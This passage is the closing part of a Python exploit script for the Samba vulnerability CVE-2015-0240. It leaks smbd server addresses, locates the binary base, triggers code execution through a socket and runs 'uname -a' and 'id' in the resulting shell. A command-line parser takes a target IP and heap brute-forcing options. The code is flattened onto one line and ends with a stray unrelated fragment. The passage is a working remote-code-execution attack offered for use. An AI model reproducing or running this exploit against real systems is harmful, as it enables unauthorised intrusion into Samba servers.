smbd_server_connection_handler() offset is very low for all smbd binary (compiled by gcc) """ leak_smbd_server_connection_handler_addr(info) find_smbd_base_addr(info) dump_smbd_find_bininfo(info) # code execution if 'sock_exec_addr' in info and call_sock_exec(info): s = get_socket() print(s.recv(4096)) # wait for 'shell ready' message s.send('uname -a\n') print(s.recv(4096)) s.send('id\n') print(s.recv(4096)) s.send('exit\n') s.close() def hex_int(x): return int(x,16) # command arguments parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit') parser.add_argument('target', help='target IP address') parser.add_argument('-hs', '--heap_start', type=hex_int, help='heap address in hex to start bruteforcing') parser.add_argument('-pa', '--payload_addr', type=hex_int, help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing') parser.add_argument('-sps', '--start_payload_size', type=int, help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)') args = parser.parse_args() requester.set_target(args.target) try: do_work(args) except KeyboardInterrupt: pass |
体验盒子
